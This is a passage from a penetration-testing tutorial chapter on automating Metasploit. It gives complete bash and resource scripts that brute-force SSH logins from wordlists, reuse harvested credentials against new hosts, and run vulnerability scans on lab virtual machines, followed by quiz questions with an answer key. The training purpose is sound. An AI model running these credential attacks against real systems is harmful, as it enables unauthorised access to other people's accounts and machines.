Upon completion, you’ll see the list of active sessions and will be at the msf auxiliary(scanner/ssh/ssh_login) > command prompt. Instead of interacting with a session this time, type exit -y to exit msfconsole. (You’ll need to use the -y option to shut down the running session.)
- Now, use the
msfconcole -rcommand to run the resource script from the Kali command prompt, like so:┌──(kali㉿kali)-[~]└─$ msfconsole -r ssh_login.rc - When the operation completes, you’ll be at the
msf auxiliary(scanner/ssh/ssh_login) >command prompt and will see the list of active sessions. In real life, you would choose a session to work with, as you’ve already done in the previous exercises. For now, though, enter theexit-ycommand to exit themsfconsole.
The beauty of this method is that if you want to perform the same operation on a different machine or set of machines at a later date or time, you can just edit the set RHOSTS line in the resource file. That will be a lot faster than running the operation in interactive mode again. (Of course, you could also edit the other options, if desired.)
Next, let’s look at using a shell script to automate our operations.
Using msfconsole commands within a shell script
Section titled “Using msfconsole commands within a shell script”You can use the msfconsole -x command to run a Metasploit operation from the Kali command prompt. Just surround the command that you want to run with a pair of double quotes, and separate the command components with a semicolon. Let’s look at how it’s done.
- To run the
ssh_loginoperation that you ran in the previous exercise, the command will look something like this:┌──(kali㉿kali)-[~]└─$ msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.56.102; set BRUTEFORCE_SPEED 1; set USER_FILE metasploitable_users.txt; set PASS_FILE metasploitable_cewl_wordlist_2.txt; set STOP_ON_SUCCESS true; set USER_AS_PASS true; set VERBOSE true; run; sessions" - Again, this will take you to the
msf auxiliary(scanner/ssh/ssh_login) >command prompt and show you the active sessions list. Instead of working with a session, just typeexit -yto exitmsfconsole. - That’s good, but do you really want to type in all that mess every time you want to perform this operation? I thought not, so let’s put this into the
ssh_login.shscript, like so:#!/bin/bashmsfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.56.102; set BRUTEFORCE_SPEED 1; set USER_FILE metasploitable_users.txt; set PASS_FILE metasploitable_cewl_wordlist_2.txt; set STOP_ON_SUCCESS true; set USER_AS_PASS true; set VERBOSE true; run; sessions" - As always, use the
chmod u+xcommand to make the script executable. - Now, run the script to see what happens:
┌──(kali㉿kali)-[~]└─$ ./ssh_login.sh. . .. . .[+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '[*] SSH session 1 opened (192.168.56.101:38797 -> 192.168.56.102:22) at 2025-10-20 16:33:01 -0400[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedmsf auxiliary(scanner/ssh/ssh_login) >
- Instead of working with a session, type
exit -yto exitmsfconsole. - All right, you’re looking good. Now though, you want to pass the IP address(es) of the target machine(s) in as a positional parameter, instead of having to edit the shell script every time you scan a different machine. Let’s do that in the
ssh_login-2.shscript, which will look like this:#!/bin/bashipaddresses=("$@")if [[ -z "$@" ]]; thenecho "You need to enter at least one IP address for your target machine(s)."exit 1fimsfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS $(echo "${ipaddresses[@]}"); set BRUTEFORCE_SPEED 1; set USER_FILE metasploitable_users.txt; set PASS_FILE metasploitable_cewl_wordlist_2.txt; set STOP_ON_SUCCESS true; set USER_AS_PASS true; set VERBOSE true; run; sessions"
So here, I’ve assigned the value of the $@ positional parameter to the ipaddresses variable array. (The $@ positional parameter allows you to enter an indefinite number of IP addresses.) For the RHOSTS option, I used the echo command within a command substitution construct to retrieve all of the IP address values from the ipaddresses variable array. The if..then stanza verifies that you’ve entered at least one IP address when you invoked the script. I also thought that you might be tired of seeing all of Metasploit’s opening messages and ASCII art, so I added the -q switch to the msfconsole command to invoke the quiet mode.
- Before you try running this script, boot up the Ubuntu Server virtual machine on which you created a user account for
mrtux. - Use the script to scan both the Metasploitable2 machine and the Ubuntu Server machine, like so:
┌──(kali㉿kali)-[~]└─$ ./ssh_login-2.sh 192.168.56.102 192.168.56.112
Upon completion, you should see one active session for the msfadmin user on the Metasploitable2 machine, and another active session for mrtux on the Ubuntu Server machine.
- As before, enter
exit -yto exitmsfconsole. - Okay, you’re now thinking about how messy this script looks, and want to know if you can clean things up a bit. Well yeah, you can. Create the
ssh_login-3.shscript, and make it look like this:#!/bin/bashipaddresses=("$@")if [[ -z "$@" ]]; thenecho "You need to enter at least one IP address for your target machine(s)."exit 1fimsfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; \set RHOSTS $(echo "${ipaddresses[@]}"); \set BRUTEFORCE_SPEED 1; \set USER_FILE metasploitable_users.txt; \set PASS_FILE metasploitable_cewl_wordlist_2.txt; \set STOP_ON_SUCCESS true; \set USER_AS_PASS true; \set VERBOSE true; \run; \sessions" - All I did here was place each component of the
msfconsole -xcommand on its own separate line, and end each line with a backslash (\). Ending a line with a backslash tells the shell that the next line is part of the same command. I hope you’ll agree that this makes the script look a lot better. - Hang on, though, because there’s yet another simple improvement that you can make. Let’s say that you want to scan multiple machines at a time, and that no users on any of the machines are using their usernames as their passwords. This means that the scan will be running for a while. This is where the
THREADSoption comes in handy. By setting theTHREADSoption to the number of machines that you’re scanning, your script can scan all of the target machines simultaneously, instead of having to scan them sequentially. But you don’t want to edit the script every time you scan a different number of machines. So, create thessh_login-4.shscript, which will look like this:#!/bin/bashipaddresses=("$@")if [[ -z "$@" ]]; thenecho "You need to enter at least one IP address for your target machine(s)."exit 1fimsfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; \set RHOSTS $(echo "${ipaddresses[@]}"); \set BRUTEFORCE_SPEED 1; \set USER_FILE metasploitable_users.txt; \set PASS_FILE metasploitable_cewl_wordlist_2.txt; \set STOP_ON_SUCCESS true; \set THREADS $(echo "${#ipaddresses[@]}"); \set USER_AS_PASS false; \set VERBOSE true; \run; \sessions"
In the set THREADS line, you see that I again used a command substitution construct, with a # at the front end of the variable array name, to echo the number of elements in the ipaddresses variable array. So, if I enter two IP addresses when I invoke the script, the THREADS value will be set to 2. If I enter three IP addresses, the THREADS value will be set to 3, and so forth. (Pretty slick, eh?) And of course, to simulate that there are no users who use their usernames as their passwords, I set the USER_AS_PASS value to false.
Now that you’ve seen the basic usage of Metasploit Framework, let’s talk about using it with a database.
Using Metasploit with the PostgreSQL database
Section titled “Using Metasploit with the PostgreSQL database”Now, here’s an important point. Metasploit can use a PostgreSQL database to store its testing results. I mean, you might not always want to use the database, but there will be times when using a database will make things a bit easier. This is because the results from one step of your Metasploit testing, which are stored in the database, can either be used in the next step or for later research. The only catch is that by default, the postgresql service is disabled on your Kali machine. Whenever you want to use the database, you’ll need to start the postgresql service. Do it like this:
┌──(kali㉿kali)-[~]└─$ sudo systemctl start postgresqlNow, verify its status:
┌──(kali㉿kali)-[~]└─$ systemctl status postgresql● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/usr/lib/systemd/system/postgresql.service; enabled; preset: disabled) Active: active (exited) since Thu 2025-10-16 13:56:17 EDT; 9min ago. . .. . .It says that postgresql.service is loaded and active, so we’re all good.
Using the database with multiple target hosts
Section titled “Using the database with multiple target hosts”In this exercise, you’ll verify the database status, create a database workspace, and add data about the target machines to this database workspace.
- First, verify the database status, like so:
msf > db_status[*] Connected to msf. Connection type: postgresql.msf >
- If you work with a lot of different penetration testing projects, things can get a bit jumbled up and hard to find if you dump all of your testing results into just one place. You can solve that problem by creating a workspace for each of your projects. To see what workspaces have already been created, just use the
workspacecommand, like this:msf > workspace* defaultmsf > - All we have so far is just the default workspace. Let’s add another workspace for our current pen testing project, like so:
msf > workspace -a pentesting_1[*] Added workspace: pentesting_1[*] Workspace: pentesting_1msf > workspacedefault* pentesting_1msf >
The asterisk in front of the pentesting_1 line means that we’re now using the new workspace.
- Next, use the
db_nmapcommand to scan the Metasploitable2 machine and the Ubuntu Server machine, and store the results in the database, like this:msf > db_nmap -A --script=vulners.nse -p 1-65535 192.168.56.102 192.168.56.112
The nice part about this is that db_nmap uses the same options as the normal nmap and shows you the same information. The difference is that db_nmap stores its results in the PostgreSQL database. Here, we’re using the -A option for nmap, because we need information about the versions of the running services on the target machine in order to obtain information about potential vulnerabilities. By default, nmap scans the 1,000 most-used network ports on a target machine. In this case, we’re using the -p 1-65535 option to make nmap scan all ports. This is because we want to see if any services are running on ports that nmap doesn’t normally scan. We also want to know if any potential vulnerabilities exist on the target machines, so we’re using the --script= option to execute the vulners.nse script. When the scan completes, you’ll see information about the potential vulnerabilities that the script found for the various network services, along with their reference identifiers, such as CVE numbers.
- Use the
hostscommand to show the target hosts that have been added to the database:
Figure 8.3 – View the hosts that have been added to the database
Figure 8.3 – View the hosts that have been added to the database
- Use
hostswith the-coption to see only certain columns of output, like this:msf > hosts -c address,os_nameHosts=====address os_name------- -------192.168.56.102 Linux192.168.56.112 Linuxmsf > - Use the
servicescommand to view the running services on the target hosts:msf > servicesServices========host port proto name state info---- ---- ----- ---- ----- ----192.168.56.102 21 tcp ftp open vsftpd 2.3.4192.168.56.102 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0192.168.56.102 23 tcp telnet open Linux telnetd192.168.56.102 25 tcp smtp open Postfix smtpd192.168.56.102 53 tcp domain open ISC BIND 9.4.2192.168.56.102 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2192.168.56.102 111 tcp rpcbind open 2 RPC #100000192.168.56.102 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP192.168.56.102 445 tcp netbios-ssn open Samba smbd 3.0.20-Debian workgroup: WORKGROUP192.168.56.102 512 tcp exec open netkit-rsh rexecd192.168.56.102 513 tcp login open OpenBSD or Solaris rlogind192.168.56.102 514 tcp shell open Netkit rshd192.168.56.102 1099 tcp java-rmi open GNU Classpath grmiregistry192.168.56.102 1524 tcp bindshell open Metasploitable root shell192.168.56.102 2049 tcp nfs open 2-4 RPC #100003192.168.56.102 2121 tcp ftp open ProFTPD 1.3.1192.168.56.102 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5192.168.56.102 3632 tcp open192.168.56.102 5432 tcp postgresql open PostgreSQL DB 8.3.0 – 8.3.7192.168.56.102 5900 tcp vnc open VNC protocol 3.3192.168.56.102 6000 tcp x11 open access denied192.168.56.102 6667 tcp irc open UnrealIRCd192.168.56.102 6697 tcp open192.168.56.102 8009 tcp ajp13 open Apache Jserv Protocol v1.3192.168.56.102 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1192.168.56.102 8787 tcp open192.168.56.112 21 tcp ftp open vsftpd 3.0.5192.168.56.112 22 tcp ssh open OpenSSH 9.9p1 Ubuntu 3ubuntu3.1 Ubuntu Linux; protocol 2.0msf > - Use the
vulnscommand to see reference information about the detected vulnerabilities. (Note that I had to cut off theReferencescolumn in order to get a clear screenshot.) You can use this information later for researching vulnerabilities that you might be able to exploit:
Figure 8.4 – View vulnerability information
Figure 8.4 – View vulnerability information
- Now, choose a scanning module to use. Let’s say that we want to use a Metasploit module, instead of
nmap, to perform a TCP port scan on the target machine. Choose theauxiliary/scanner/portscan/tcpmodule, like so:msf > use auxiliary/scanner/portscan/tcp - View the options that you can set for this module:

Figure 8.5 – View the module options
Figure 8.5 – View the module options
(Note that I had to cut off part of the Description field in order to get a clear screenshot.)
- All of the options are listed as
Required, and theRHOSTSoption is the only one that isn’t already populated with a value. Instead of setting the value ofRHOSTSby hand this time, use thehosts -Rcommand to pull that value from the database, like so:
Figure 8.6 – Setting the RHOSTS value from the database
Figure 8.6 – Setting the RHOSTS value from the database
- Use the
runcommand to run the scan:msf auxiliary(scanner/portscan/tcp) > run[+] 192.168.56.102 - 192.168.56.102:21 - TCP OPEN[+] 192.168.56.102 - 192.168.56.102:22 - TCP OPEN[+] 192.168.56.102 - 192.168.56.102:23 - TCP OPEN[+] 192.168.56.102 - 192.168.56.102:25 - TCP OPEN[+] 192.168.56.102 - 192.168.56.102:53 - TCP OPEN. . .. . .[+] 192.168.56.102 - 192.168.56.102:8180 - TCP OPEN[+] 192.168.56.102 - 192.168.56.102:8787 - TCP OPEN[*] Scanned 1 of 2 hosts (50% complete)[+] 192.168.56.112 - 192.168.56.112:21 - TCP OPEN[+] 192.168.56.112 - 192.168.56.112:22 - TCP OPEN[*] Scanned 1 of 2 hosts (50% complete)[*] Scanned 1 of 2 hosts (50% complete)[*] Scanned 1 of 2 hosts (50% complete)[*] Scanned 1 of 2 hosts (50% complete)[*] Scanned 2 of 2 hosts (100% complete)[*] Auxiliary module execution completedmsf auxiliary(scanner/portscan/tcp) >
Unlike the nmap scan that we just did, this Metasploit module only shows you which TCP ports are open on the target host, without showing any additional information. That’s okay, because in some cases that might be all you’ll need to see.
- We no longer need this scan module, so use the
backcommand to exit from it:msf auxiliary(scanner/portscan/tcp) > backmsf > - You can also use the
hosts -Rtrick to set theRHOSTSoption for other modules, as you see here with thessh_loginmodule:
Figure 8.7 – Setting RHOSTS for ssh_login
Figure 8.7 – Setting RHOSTS for ssh_login
- Of course, you’ll still need to set the other
ssh_loginoptions yourself, but you’ve already seen how that’s done. Go ahead and set the options as you’ve done for the Using msfconsole in interactive mode procedure. Then, run the module, as you’ve done before. - Upon completion of this run, you’ll see that any login credentials that
ssh_loginfinds will be added to the database. Use thecredscommand to view them:
Figure 8.8 – Viewing stored login credentials
Figure 8.8 – Viewing stored login credentials
- Let’s say that for now, you’ve finished your pentesting session. Type
exit -yto exitmsfconsole. - Now, let’s say that you’ve discovered another machine on the target network, and you want to do a quick scan to see if any of the login credentials that you’ve already found will work on it. Simulate this by booting up your second Ubuntu Server virtual machine and noting its IP address.
- On the Kali machine, open
msfconsoleagain and run theworkspace pentesting_1command to choose the correct workspace. - Choose the
ssh_loginmodule by running theuse auxiliary/scanner/ssh/ssh_logincommand. - Set the
RHOSTSvalue to the IP address of the second Ubuntu Server machine that you’ve just booted up. Set theVERBOSEand theDB_ALL_CREDSvalues totrue, and set theBRUTEFORCE_SPEEDvalue to1. You won’t need to specify either a password list or a user list this time, because theDB_ALL_CREDSoption will pull the user credentials from the database. - Run the module, and you’ll see that the
mrtuxaccount is found almost immediately, and that a new session has been opened. - You’re done for now, so type
exit -yto exitmsfconsole.
Next, let’s see if we can create some cool shell scripts that will work with the database.
Using the database in shell scripts
Section titled “Using the database in shell scripts”You can use the workspace -a command within a shell script to either create or choose a workspace. If the workspace that you specify doesn’t exist, it will be created. If it already exists, it will be chosen. So, there’s no danger that workspace -a will cause you to lose data by destroying an existing workspace. Let’s see how that’s done.
- Ensure that the
postresqlservice is running by doing:┌──(kali㉿kali)-[~]└─$ sudo systemctl start postgresql - Create the
db_nmap-1.shscript, like this:#!/bin/bashipaddresses=("$@")if [[ -z "$@" ]]; thenecho "You need to enter at least one IP address for your target machine(s)."exit 1fimsfconsole -q -x "workspace -a pentesting_2; \db_nmap -A --script=vulners $(echo "${ipaddresses[@]}"); \hosts; \services; \vulns; \exit"
I’ve already covered the concepts for this script in the Using msfconsole commands from within a shell script exercise, so I won’t go over them again. Also, I left out the -p 1-65535 option from the db_nmap command this time, but you can add it back in if you want to scan every port on the target machine.
- Do
chmod u+x db_nmap-1.shto make it executable, and then run it. - Now, let’s fancy things up a bit by combining the
nmapscan with thessh_loginscan. Create thedb_nmap-2.shscript, and make it look like this:#!/bin/bashipaddresses=("$@")if [[ -z "$@" ]]; thenecho "You need to enter at least one IP address for your target machine(s)."exit 1fiecho "${#ipaddresses[@]}"msfconsole -q -x "workspace -a pentesting_2; \db_nmap -A --script=vulners $(echo "${ipaddresses[@]}"); \use auxiliary/scanner/ssh/ssh_login; \set RHOSTS $(echo "${ipaddresses[@]}"); \set BRUTEFORCE_SPEED 1; \set USER_FILE metasploitable_users.txt; \set PASS_FILE metasploitable_cewl_wordlist_2.txt; \set STOP_ON_SUCCESS true; \set THREADS $(echo "${#ipaddresses[@]}"); \set USER_AS_PASS true; \set VERBOSE true; \run; \back; \hosts; \creds; \sessions"
So far, you’ve been scanning the same two virtual machines with each of these scripts. I should point out, though, that if you scan another machine that you haven’t scanned yet, its information will get added to the workspace that you’re currently using.
- For our final trick, let’s say that you want to do an
ssh_loginscan on some machines that you haven’t scanned before, but you want to try the login credentials that you’ve already found on other machines. To do that, create thessh_login-5.shscript, like this:#!/bin/bashipaddresses=("$@")if [[ -z "$@" ]]; thenecho "You need to enter at least one IP address for your target machine(s)."exit 1fimsfconsole -q -x "workspace pentesting_2; \use auxiliary/scanner/ssh/ssh_login; \set RHOSTS $(echo "${ipaddresses[@]}"); \set BRUTEFORCE_SPEED 1; \set DB_ALL_CREDS true; \set STOP_ON_SUCCESS true; \set THREADS $(echo "${#ipaddresses[@]}"); \set USER_AS_PASS false; \set VERBOSE true; \run; \sessions" - Run this script against another virtual machine on which you’ve created the
mrtuxaccount, and you should see near-instantaneous results.
Okay, I think that this should give you a pretty good introduction to the mysteries of Metasploit. So, let’s go ahead and summarize.
Summary
Section titled “Summary”You’ve completed yet another chapter and have seen lots of cool stuff. First, you saw the various ways to use the Metasploit framework, which include interactive mode from within the msfconsole, using a resource file, and using msfconsole -x commands from within shell scripts. You also saw various examples of using all of these techniques. After that, you saw how to use a PostgreSQL database to save the results of your testing, and to reuse those results for later tests. Along the way, you saw some cool shell scripting concepts that you can use in your own scripts. And, in the Escalating privileges with Meterpreter exercise, you saw how to troubleshoot an exploit that wouldn’t work, when I accidentally used the wrong payload.
Ensuring security for wireless networks and devices is extremely important, especially now that there are so many wireless devices on the Internet of Things. In the next chapter, you’ll see how to use Kali tools—such as Kismet and Wifite—to enumerate, test, and compromise wireless networks. I’ll see you there.
Questions
Section titled “Questions”- Which scripting language is used to create Metasploit modules?
- Python 2. Perl 3. GW-BASIC 4. Ruby 5. Rexx
- When using Metasploit with a database, which of the following statements is true about the
workspace -acommand?- It will create a new workspace and use it if the workspace you specify doesn’t exist, and will choose the workspace that you specify if it already exists.
2. It will create a new workspace, but you’ll need to choose to use it in a separate step.
3. If the workspace that you specify already exists, the
workspace -acommand will overwrite that workspace. 4. There’s no such command.
- It will create a new workspace and use it if the workspace you specify doesn’t exist, and will choose the workspace that you specify if it already exists.
2. It will create a new workspace, but you’ll need to choose to use it in a separate step.
3. If the workspace that you specify already exists, the
- Which of the following statements is true about Meterpreter?
- It’s much more useful for Windows targets than it is for Linux targets. 2. It’s equally as useful for Linux targets as it is for Windows targets. 3. It’s not all that useful in any case. 4. It’s much more useful for Linux targets than it is for Windows targets.
- Which two of the following are methods for using a Metasploit resource file? (Choose two.)
- From within the
msfconsole, use theset RESOURCE_FILEoption. 2. From within themsfconsole, use theresourcecommand, followed by the name of the resource file that you want to use. 3. From the Kali command prompt, use themsfconsole -xcommand, followed by the name of the resource file that you want to use. 4. From the Kali command prompt, use themsfconsole -rcommand, followed by the name of the resource file that you want to use.
- From within the
- Which of the following is not a Metasploit module type?
- Auxiliary 2. Post 3. Exploits 4. Payloads 5. Decoders
Further reading
Section titled “Further reading”- Metasploit home page: https://www.metasploit.com/
- Metasploit Documentation: https://docs.metasploit.com/
- What is Metasploit and use cases of Metasploit: https://www.devopsschool.com/blog/what-is-metasploit-and-use-cases-of-metasploit/
- Metasploit Unleashed—Using databases: https://www.offsec.com/metasploit-unleashed/using-databases/
- Meterpreter Cheatsheet: https://gist.github.com/ImaginaryBIT/8cd591b495c8f310428085c0448b0acf
- Why your exploit completed, but no session was created? Try these fixes: https://www.infosecmatter.com/why-your-exploit-completed-but-no-session-was-created-try-these-fixes/
Answers
Section titled “Answers”1. d
2. a
3. a
4. b and d
5. e